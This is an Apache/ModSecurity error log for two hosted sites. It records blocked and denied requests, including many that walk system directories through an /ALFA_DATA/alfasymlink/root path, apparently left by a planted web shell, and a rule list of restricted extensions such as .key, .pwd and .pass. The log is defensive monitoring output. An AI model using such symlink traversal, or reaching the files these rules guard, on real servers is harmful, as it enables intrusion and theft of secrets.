[Sun Oct 25 01:02:47.598098 2026] [security2:error] [pid 2762182:tid 2762182] [client 85.208.96.193:51688] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/YMF744.conf"] [unique_id "at2Nd7Cux6YzXC46yX1OpAAAACY"]
[Sun Oct 25 01:02:47.598461 2026] [security2:error] [pid 2762182:tid 2762182] [client 85.208.96.193:51688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/YMF744.conf"] [unique_id "at2Nd7Cux6YzXC46yX1OpAAAACY"]
[Sun Oct 25 01:02:47.598766 2026] [security2:error] [pid 2762182:tid 2762182] [client 85.208.96.193:51688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/YMF744.conf"] [unique_id "at2Nd7Cux6YzXC46yX1OpAAAACY"]
[Sun Oct 25 01:02:58.169613 2026] [ssl:error] [pid 2762149:tid 2762149] (5)Input/output error: [client 34.194.95.99:4749] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:03:02.162516 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 52.71.218.25:29192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/net/lo/subsystem/eth0/device/driver/virtio0/driver/bind
[Sun Oct 25 01:03:03.546174 2026] [authz_core:error] [pid 2762182:tid 2762182] [client 199.165.159.81:13362] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:03:06.142100 2026] [ssl:error] [pid 2762190:tid 2762190] (5)Input/output error: [client 3.210.114.189:54422] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:03:09.259565 2026] [security2:error] [pid 2759057:tid 2759057] [client 216.180.246.172:21764] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at2NjWnoVolia533WIkhGAAAADQ"]
[Sun Oct 25 01:03:09.260437 2026] [authz_core:error] [pid 2759057:tid 2759057] [client 216.180.246.172:21764] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:03:22.219717 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 54.84.161.62:52981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:03:29.361782 2026] [security2:error] [pid 2762199:tid 2762199] [client 43.130.39.254:52380] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/interes.php"] [unique_id "at2NoRzh2uHYztX7tG5l1AAAADw"]
[Sun Oct 25 01:03:46.133357 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 3.227.180.70:20417] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/node0/cpu1/crash_notes
[Sun Oct 25 01:03:50.255591 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 54.147.182.90:51282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:03:54.133060 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 107.23.62.75:6585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:04:02.129636 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 44.217.255.167:29529] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/LNXCPU:00/physical_node/node0/compact
[Sun Oct 25 01:04:07.288496 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 216.244.66.250:35590] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/trusted_mail_users
[Sun Oct 25 01:04:11.024148 2026] [security2:error] [pid 2759096:tid 2759096] [client 85.208.96.204:60412] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/dbus-1/system.d/org.freedesktop.portable1.conf"] [unique_id "at2NymTNY6y0aXZ6joCbBwAAADk"]
[Sun Oct 25 01:04:11.024195 2026] [security2:error] [pid 2759096:tid 2759096] [client 85.208.96.204:60412] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/dbus-1/system.d/org.freedesktop.portable1.conf"] [unique_id "at2NymTNY6y0aXZ6joCbBwAAADk"]
[Sun Oct 25 01:04:32.420034 2026] [core:error] [pid 2762183:tid 2762183] (13)Permission denied: [client 44.223.116.180:15615] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/remove
[Sun Oct 25 01:04:34.255943 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.4.213.199:44758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:04:35.186302 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 185.191.171.17:50150] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:04:38.417145 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.84.147.79:49081] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:04:38.990905 2026] [security2:error] [pid 2762145:tid 2762145] [client 216.180.246.172:21764] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at2N5lTnwNJm6o1fQZIgYgAAAAI"]
[Sun Oct 25 01:04:38.991613 2026] [authz_core:error] [pid 2762145:tid 2762145] [client 216.180.246.172:21764] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:04:41.015974 2026] [security2:error] [pid 2762182:tid 2762182] [client 85.208.96.209:48788] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/oasisdbgdownload.sys"] [unique_id "at2N6bCux6YzXC46yX1OqQAAACY"]
[Sun Oct 25 01:04:41.016331 2026] [security2:error] [pid 2762182:tid 2762182] [client 85.208.96.209:48788] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/oasisdbgdownload.sys"] [unique_id "at2N6bCux6YzXC46yX1OqQAAACY"]
[Sun Oct 25 01:04:41.016643 2026] [security2:error] [pid 2762182:tid 2762182] [client 85.208.96.209:48788] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/slicoss/oasisdbgdownload.sys"] [unique_id "at2N6bCux6YzXC46yX1OqQAAACY"]
[Sun Oct 25 01:04:42.245009 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 107.23.62.75:27506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:04:46.136687 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 98.84.184.80:36896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:04:50.173825 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 18.214.251.19:60238] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:04:59.694037 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 85.208.96.203:30436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:05:14.125162 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 23.21.175.228:47920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:05:20.061318 2026] [core:error] [pid 2759096:tid 2759096] (13)Permission denied: [client 85.208.96.204:63646] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/cpu_partial
[Sun Oct 25 01:05:21.040153 2026] [core:crit] [pid 2762145:tid 2762145] (13)Permission denied: [client 216.180.246.172:1584] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 01:05:30.124202 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 3.225.45.252:6770] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:05:34.142508 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 100.29.160.53:25755] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:05:42.140517 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 3.216.13.10:46705] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:06:10.139869 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 18.215.24.66:60162] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:06:18.489452 2026] [authz_core:error] [pid 2762199:tid 2762199] [client 216.180.246.172:52386] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:06:26.122332 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.84.161.62:50015] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:06:30.133326 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 18.209.201.119:11718] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:06:30.481553 2026] [cgi:error] [pid 2762199:tid 2762199] [client 216.180.246.172:52386] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sun Oct 25 01:06:34.164065 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 3.232.39.98:22399] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0501:00/subsystem/drivers/hardware_error_device/bind
[Sun Oct 25 01:06:49.144707 2026] [core:crit] [pid 2759057:tid 2759057] (13)Permission denied: [client 20.163.13.27:57366] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 01:06:54.178797 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 44.223.116.180:21242] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:07:10.117109 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 44.212.145.46:37268] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:07:14.251009 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 3.94.199.128:36720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:07:18.124218 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 98.82.63.147:27451] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:07:26.181763 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.229.164.203:26279] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:07:46.306748 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 35.171.141.42:27297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:07:50.130486 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 52.3.26.180:28053] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:07:54.125697 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.222.85.38:42177] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:07:58.133731 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 52.200.142.199:43139] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:08:01.887672 2026] [proxy_fcgi:error] [pid 2762199:tid 2762199] [client 139.59.165.145:60746] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 01:08:02.190666 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 34.206.212.24:61320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:08:10.143076 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 98.82.38.120:40476] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:08:34.336921 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 52.204.71.8:23057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:08:38.131156 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 44.195.145.102:46125] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:08:40.079578 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 85.208.96.199:47558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_inode_cache/slabs
[Sun Oct 25 01:08:42.129117 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 44.221.227.90:25059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:08:46.229220 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 3.94.40.182:64594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:09:06.179538 2026] [ssl:error] [pid 2762183:tid 2762183] (22)Invalid argument: [client 3.90.73.206:52710] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:09:10.154124 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 23.23.137.202:39184] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:09:14.148524 2026] [core:error] [pid 2762188:tid 2762188] (13)Permission denied: [client 185.191.171.8:10904] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-128/ctor
[Sun Oct 25 01:09:18.144696 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 54.85.7.119:39688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/uhci_hcd/uevent
[Sun Oct 25 01:09:22.180897 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 3.94.199.128:17752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:09:30.236562 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 52.71.216.196:27551] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:09:47.598742 2026] [proxy_fcgi:error] [pid 2759074:tid 2759074] [client 170.64.194.73:57339] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 01:09:59.475384 2026] [core:error] [pid 2759057:tid 2759057] (13)Permission denied: [client 85.208.96.205:55024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/files_cache/validate
[Sun Oct 25 01:10:02.155493 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 3.219.81.66:29153] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:10:06.174926 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 44.209.89.189:11321] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:10:16.433870 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 85.208.96.197:10970] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:10:38.288680 2026] [core:error] [pid 2759074:tid 2759074] (13)Permission denied: [client 34.225.243.131:9687] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/device:09/subsystem/drivers/thermal/unbind
[Sun Oct 25 01:10:52.144803 2026] [authz_core:error] [pid 2759096:tid 2759096] [client 143.198.182.70:60810] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 01:10:54.130616 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 23.23.103.31:36090] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:11:02.296603 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 54.166.126.132:5295] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:11:06.146618 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 52.71.46.142:17953] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:11:10.119460 2026] [ssl:error] [pid 2762188:tid 2762188] (70014)End of file found: [client 18.213.240.226:14211] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:11:38.128740 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 52.0.41.164:49861] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:11:46.162754 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 3.93.253.174:6108] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:11:54.125504 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 34.227.156.153:50617] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:12:02.134768 2026] [ssl:error] [pid 2762183:tid 2762183] (70014)End of file found: [client 3.89.170.186:42728] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:12:06.601371 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 107.20.25.33:22715] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:12:10.189233 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 54.83.240.58:40724] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:12:14.446247 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 85.208.96.193:29726] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/total_objects
[Sun Oct 25 01:12:18.262021 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.200.93.170:3747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:12:22.139715 2026] [ssl:error] [pid 2762182:tid 2762182] (70014)End of file found: [client 54.167.32.123:35804] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:12:34.143309 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 18.205.213.231:36115] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:13:18.616300 2026] [ssl:error] [pid 2762145:tid 2762145] (70014)End of file found: [client 85.208.96.202:18122] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:13:22.512076 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 44.205.192.249:41293] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:13:30.131260 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 52.200.54.136:47676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:13:38.197970 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 3.216.86.144:6026] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:13:49.271420 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 185.191.171.12:58274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:13:52.185280 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 185.191.171.15:26968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:14:02.193910 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 34.196.6.199:3817] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/node0/memory11/node0/compact
[Sun Oct 25 01:14:06.166547 2026] [ssl:error] [pid 2762190:tid 2762190] (70014)End of file found: [client 34.194.226.74:50963] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:14:10.173068 2026] [ssl:error] [pid 2762199:tid 2762199] (70014)End of file found: [client 52.71.218.25:2851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:14:14.157058 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 44.205.180.155:15873] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:14:16.715456 2026] [core:error] [pid 2762182:tid 2762182] (13)Permission denied: [client 185.191.171.6:55174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPv6/hwcache_align
[Sun Oct 25 01:14:18.189542 2026] [core:error] [pid 2762145:tid 2762145] (13)Permission denied: [client 98.82.39.241:38549] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/new_id
[Sun Oct 25 01:14:22.557962 2026] [security2:error] [pid 2762183:tid 2762183] [client 43.165.2.110:33742] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_sonora_1.html"] [unique_id "at2QLpnH_N6a0offkOBFPgAAACg"]
[Sun Oct 25 01:14:26.123595 2026] [core:error] [pid 2762149:tid 2762149] (13)Permission denied: [client 3.215.221.125:20303] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS3/closing_wait
[Sun Oct 25 01:14:32.186367 2026] [core:error] [pid 2762199:tid 2762199] (13)Permission denied: [client 185.191.171.8:20332] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/blocked_incoming_email_domains
[Sun Oct 25 01:14:51.884304 2026] [core:error] [pid 2762190:tid 2762190] (13)Permission denied: [client 185.191.171.11:24464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/aliases
[Sun Oct 25 01:15:06.137741 2026] [ssl:error] [pid 2759074:tid 2759074] (70014)End of file found: [client 18.213.240.226:47745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:15:14.121235 2026] [ssl:error] [pid 2759057:tid 2759057] (70014)End of file found: [client 18.235.158.19:11586] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:15:18.154595 2026] [ssl:error] [pid 2762149:tid 2762149] (70014)End of file found: [client 18.206.47.187:63700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:15:22.119698 2026] [ssl:error] [pid 2762190:tid 2762190] (5)Input/output error: [client 18.210.58.238:14139] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 01:15:26.163563 2026] [ssl:error] [pid 2759096:tid 2759096] (70014)End of file found: [client 52.71.216.196:30898] AH02013: coalesce failed to read from data bucket
